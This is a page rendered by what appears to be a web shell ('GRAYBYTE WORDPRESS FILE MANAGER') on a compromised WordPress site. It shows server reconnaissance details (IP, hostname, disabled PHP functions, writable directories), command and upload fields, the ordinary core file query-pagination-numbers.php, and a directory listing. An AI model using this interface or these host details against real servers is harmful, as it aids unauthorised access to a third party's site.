GRAYBYTE WORDPRESS FILE MANAGER8018

Server IP : 149.255.58.128 / Your IP : 216.73.216.236
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/wheelch2/mobilityscooterramsgate.co.uk/wp-includes/blocks/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/wheelch2/mobilityscooterramsgate.co.uk/wp-includes/blocks//query-pagination-numbers.php
<?php
/**
 * Server-side rendering of the `core/query-pagination-numbers` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/query-pagination-numbers` block on the server.
 *
 * @since 5.8.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the pagination numbers for the Query.
 */
function render_block_core_query_pagination_numbers( $attributes, $content, $block ) {
	$page_key            = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
	$enhanced_pagination = isset( $block->context['enhancedPagination'] ) && $block->context['enhancedPagination'];
	$page                = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];
	$max_page            = isset( $block->context['query']['pages'] ) ? (int) $block->context['query']['pages'] : 0;

	$wrapper_attributes = get_block_wrapper_attributes();
	$content            = '';
	global $wp_query;
	$mid_size = isset( $block->attributes['midSize'] ) ? (int) $block->attributes['midSize'] : null;
	if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) {
		// Take into account if we have set a bigger `max page`
		// than what the query has.
		$total         = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page;
		$paginate_args = array(
			'prev_next' => false,
			'total'     => $total,
		);
		if ( null !== $mid_size ) {
			$paginate_args['mid_size'] = $mid_size;
		}
		$content = paginate_links( $paginate_args );
	} else {
		$block_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) );
		// `paginate_links` works with the global $wp_query, so we have to
		// temporarily switch it with our custom query.
		$prev_wp_query = $wp_query;
		$wp_query      = $block_query;
		$total         = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page;
		$paginate_args = array(
			'base'      => '%_%',
			'format'    => "?$page_key=%#%",
			'current'   => max( 1, $page ),
			'total'     => $total,
			'prev_next' => false,
		);
		if ( null !== $mid_size ) {
			$paginate_args['mid_size'] = $mid_size;
		}
		if ( 1 !== $page ) {
			/**
			 * `paginate_links` doesn't use the provided `format` when the page is `1`.
			 * This is great for the main query as it removes the extra query params
			 * making the URL shorter, but in the case of multiple custom queries is
			 * problematic. It results in returning an empty link which ends up with
			 * a link to the current page.
			 *
			 * A way to address this is to add a `fake` query arg with no value that
			 * is the same for all custom queries. This way the link is not empty and
			 * preserves all the other existent query args.
			 *
			 * @see https://developer.wordpress.org/reference/functions/paginate_links/
			 *
			 * The proper fix of this should be in core. Track Ticket:
			 * @see https://core.trac.wordpress.org/ticket/53868
			 *
			 * TODO: After two WP versions (starting from the WP version the core patch landed),
			 * we should remove this and call `paginate_links` with the proper new arg.
			 */
			$paginate_args['add_args'] = array( 'cst' => '' );
		}
		// We still need to preserve `paged` query param if exists, as is used
		// for Queries that inherit from global context.
		$paged = empty( $_GET['paged'] ) ? null : (int) $_GET['paged'];
		if ( $paged ) {
			$paginate_args['add_args'] = array( 'paged' => $paged );
		}
		$content = paginate_links( $paginate_args );
		wp_reset_postdata(); // Restore original Post Data.
		$wp_query = $prev_wp_query;
	}

	if ( empty( $content ) ) {
		return '';
	}

	if ( $enhanced_pagination ) {
		$p         = new WP_HTML_Tag_Processor( $content );
		$tag_index = 0;
		while ( $p->next_tag(
			array( 'class_name' => 'page-numbers' )
		) ) {
			if ( null === $p->get_attribute( 'data-wp-key' ) ) {
				$p->set_attribute( 'data-wp-key', 'index-' . $tag_index++ );
			}
			if ( 'A' === $p->get_tag() ) {
				$p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' );
			}
		}
		$content = $p->get_updated_html();
	}

	return sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/query-pagination-numbers` block on the server.
 *
 * @since 5.8.0
 */
function register_block_core_query_pagination_numbers() {
	register_block_type_from_metadata(
		__DIR__ . '/query-pagination-numbers',
		array(
			'render_callback' => 'render_block_core_query_pagination_numbers',
		)
	);
}
add_action( 'init', 'register_block_core_query_pagination_numbers' );

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 21 2025 00:30:58
1032 / wheelch2
0755
archives
--
May 21 2025 00:30:58
1032 / wheelch2
0755
audio
--
May 21 2025 00:30:58
1032 / wheelch2
0755
avatar
--
May 21 2025 00:30:58
1032 / wheelch2
0755
block
--
May 21 2025 00:30:58
1032 / wheelch2
0755
button
--
May 21 2025 00:30:58
1032 / wheelch2
0755
buttons
--
May 21 2025 00:30:58
1032 / wheelch2
0755
calendar
--
May 21 2025 00:30:58
1032 / wheelch2
0755
categories
--
May 21 2025 00:30:58
1032 / wheelch2
0755
code
--
May 21 2025 00:30:58
1032 / wheelch2
0755
column
--
May 21 2025 00:30:58
1032 / wheelch2
0755
columns
--
May 21 2025 00:30:58
1032 / wheelch2
0755
comment-author-name
--
May 21 2025 00:30:58
1032 / wheelch2
0755
comment-content
--
May 21 2025 00:30:58
1032 / wheelch2
0755
comment-date
--
May 21 2025 00:30:58
1032 / wheelch2
0755
comment-edit-link
--
May 21 2025 00:30:58
1032 / wheelch2
0755
comment-reply-link
--
May 21 2025 00:30:58
1032 / wheelch2
0755
comment-template
--
May 21 2025 00:30:58
1032 / wheelch2
0755
comments
--
May 21 2025 00:30:58
1032 / wheelch2
0755
comments-pagination
--
May 21 2025 00:30:58
1032 / wheelch2
0755
comments-pagination-next
--
May 21 2025 00:30:58
1032 / wheelch2
0755
comments-pagination-numbers
--
May 21 2025 00:30:58
1032 / wheelch2
0755
comments-pagination-previous
--
May 21 2025 00:30:58
1032 / wheelch2
0755
comments-title
--
May 21 2025 00:30:58
1032 / wheelch2
0755
cover
--
May 21 2025 00:30:58
1032 / wheelch2
0755
details
--
May 21 2025 00:30:58
1032 / wheelch2
0755
embed
--
May 21 2025 00:30:58
1032 / wheelch2
0755
file
--
May 21 2025 00:30:58
1032 / wheelch2
0755
footnotes
--
May 21 2025 00:30:58
1032 / wheelch2
0755
freeform
--
May 21 2025 00:30:58
1032 / wheelch2
0755
gallery
--
May 21 2025 00:30:58
1032 / wheelch2
0755
group
--
May 21 2025 00:30:58
1032 / wheelch2
0755
heading
--
May 21 2025 00:30:58
1032 / wheelch2
0755
home-link
--
May 21 2025 00:30:58
1032 / wheelch2
0755
html
--
May 21 2025 00:30:58
1032 / wheelch2
0755
image
--
May 21 2025 00:30:58
1032 / wheelch2
0755
latest-comments
--
May 21 2025 00:30:58
1032 / wheelch2
0755
latest-posts
--
May 21 2025 00:30:58
1032 / wheelch2
0755
legacy-widget
--
May 21 2025 00:30:58
1032 / wheelch2
0755
list
--
May 21 2025 00:30:58
1032 / wheelch2
0755
list-item
--
May 21 2025 00:30:58
1032 / wheelch2
0755
loginout
--
May 21 2025 00:30:58
1032 / wheelch2
0755
media-text
--
May 21 2025 00:30:58
1032 / wheelch2
0755
missing
--
May 21 2025 00:30:58
1032 / wheelch2
0755
more
--
May 21 2025 00:30:58
1032 / wheelch2
0755
navigation
--
May 21 2025 00:30:58
1032 / wheelch2
0755
navigation-link
--
May 21 2025 00:30:58
1032 / wheelch2
0755
navigation-submenu
--
May 21 2025 00:30:58
1032 / wheelch2
0755
nextpage
--
May 21 2025 00:30:58
1032 / wheelch2
0755
page-list
--
May 21 2025 00:30:58
1032 / wheelch2
0755
page-list-item
--
May 21 2025 00:30:58
1032 / wheelch2
0755
paragraph
--
May 21 2025 00:30:58
1032 / wheelch2
0755
pattern
--
May 21 2025 00:30:58
1032 / wheelch2
0755
post-author
--
May 21 2025 00:30:58
1032 / wheelch2
0755
post-author-biography
--
May 21 2025 00:30:58
1032 / wheelch2
0755
post-author-name
--
May 21 2025 00:30:58
1032 / wheelch2
0755
post-comments-form
--
May 21 2025 00:30:58
1032 / wheelch2
0755
post-content
--
May 21 2025 00:30:58
1032 / wheelch2
0755
post-date
--
May 21 2025 00:30:58
1032 / wheelch2
0755
post-excerpt
--
May 21 2025 00:30:58
1032 / wheelch2
0755
post-featured-image
--
May 21 2025 00:30:58
1032 / wheelch2
0755
post-navigation-link
--
May 21 2025 00:30:58
1032 / wheelch2
0755
post-template
--
May 21 2025 00:30:58
1032 / wheelch2
0755
post-terms
--
May 21 2025 00:30:58
1032 / wheelch2
0755
post-title
--
May 21 2025 00:30:58
1032 / wheelch2
0755
preformatted
--
May 21 2025 00:30:58
1032 / wheelch2
0755
pullquote
--
May 21 2025 00:30:58
1032 / wheelch2
0755
query
--
May 21 2025 00:30:58
1032 / wheelch2
0755
query-no-results
--
May 21 2025 00:30:58
1032 / wheelch2
0755
query-pagination
--
May 21 2025 00:30:58
1032 / wheelch2
0755
query-pagination-next
--
May 21 2025 00:30:58
1032 / wheelch2
0755
query-pagination-numbers
--
May 21 2025 00:30:58
1032 / wheelch2
0755
query-pagination-previous
--
May 21 2025 00:30:58
1032 / wheelch2
0755
query-title
--
May 21 2025 00:30:58
1032 / wheelch2
0755
query-total
--
May 21 2025 00:30:58
1032 / wheelch2
0755
quote
--
May 21 2025 00:30:58
1032 / wheelch2
0755
read-more
--
May 21 2025 00:30:58
1032 / wheelch2
0755
rss
--
May 21 2025 00:30:58
1032 / wheelch2
0755
search
--
May 21 2025 00:30:58
1032 / wheelch2
0755
separator
--
May 21 2025 00:30:58
1032 / wheelch2
0755
shortcode
--
May 21 2025 00:30:58
1032 / wheelch2
0755
site-logo
--
May 21 2025 00:30:58
1032 / wheelch2
0755
site-tagline
--
May 21 2025 00:30:58
1032 / wheelch2
0755
site-title
--
May 21 2025 00:30:58
1032 / wheelch2
0755
social-link
--
May 21 2025 00:30:58
1032 / wheelch2
0755
social-links
--
May 21 2025 00:30:58
1032 / wheelch2
0755
spacer
--
May 21 2025 00:30:58
1032 / wheelch2
0755
table
--
May 21 2025 00:30:58
1032 / wheelch2
0755
tag-cloud
--
May 21 2025 00:30:58
1032 / wheelch2
0755
template-part
--
May 21 2025 00:30:58
1032 / wheelch2
0755
term-description
--
May 21 2025 00:30:58
1032 / wheelch2
0755
text-columns
--
May 21 2025 00:30:58
1032 / wheelch2
0755
verse
--
May 21 2025 00:30:58
1032 / wheelch2
0755
video
--
May 21 2025 00:30:58
1032 / wheelch2
0755
widget-group
--
May 21 2025 00:30:58
1032 / wheelch2
0755
.htaccess
0.124 KB
May 21 2025 00:30:58
1032 / wheelch2
0444
archives.php
2.924 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
avatar.php
5.61 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
block.php
3.236 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
blocks-json.php
189.399 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
button.php
1.763 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
calendar.php
5.933 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
categories.php
3.916 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
comment-author-name.php
2.083 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
comment-content.php
2.401 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
comment-date.php
1.819 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
comment-edit-link.php
1.673 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
comment-reply-link.php
2.026 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
comment-template.php
4.389 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
comments-pagination-next.php
1.879 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
comments-pagination-numbers.php
1.594 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
comments-pagination-previous.php
1.748 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
comments-pagination.php
1.171 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
comments-title.php
2.707 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
comments.php
6.608 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
cover.php
3.101 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
error_log
2.32 KB
November 04 2024 08:05:16
1032 / wheelch2
0644
file.php
1.751 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
footnotes.php
3.683 KB
February 27 2024 14:48:23
1032 / wheelch2
0644
gallery.php
6.287 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
heading.php
1.271 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
home-link.php
5.311 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
image.php
11.741 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
index.php
4.991 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
latest-comments.php
4.922 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
latest-posts.php
8.342 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
legacy-widget.php
3.903 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
list.php
1.243 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
loginout.php
1.385 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
media-text.php
4.28 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
navigation-link.php
13.587 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
navigation-submenu.php
9.71 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
navigation.php
48.457 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
page-list-item.php
0.353 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
page-list.php
13.292 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
pattern.php
1.746 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
post-author-biography.php
1.488 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
post-author-name.php
1.905 KB
May 01 2025 03:29:11
1032 / wheelch2
0644
post-author.php
2.67 KB
May 01 2025 03:29:11
1032 / wheelch2
0644
post-comments-form.php
2.739 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
post-content.php
2.105 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
post-date.php
3.051 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
post-excerpt.php
3.366 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
post-featured-image.php
9.144 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
post-navigation-link.php
4.724 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
post-template.php
5.614 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
post-terms.php
3.555 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
post-title.php
2.088 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
query-no-results.php
1.804 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
query-pagination-next.php
3.698 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
query-pagination-numbers.php
4.658 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
query-pagination-previous.php
3.5 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
query-pagination.php
1.148 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
query-title.php
2.049 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
query-total.php
2.476 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
query.php
5.557 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
read-more.php
1.787 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
require-dynamic-blocks.php
4.065 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
require-static-blocks.php
0.489 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
rss.php
3.978 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
search.php
22.477 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
shortcode.php
0.718 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
site-logo.php
6.186 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
site-tagline.php
1.175 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
site-title.php
1.81 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
social-link.php
63.646 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
tag-cloud.php
1.553 KB
November 13 2024 04:32:14
1032 / wheelch2
0644
template-part.php
9.916 KB
April 16 2025 03:31:48
1032 / wheelch2
0644
term-description.php
1.305 KB
July 17 2024 03:31:13
1032 / wheelch2
0644
widget-group.php
2.381 KB
July 17 2024 03:31:13
1032 / wheelch2
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF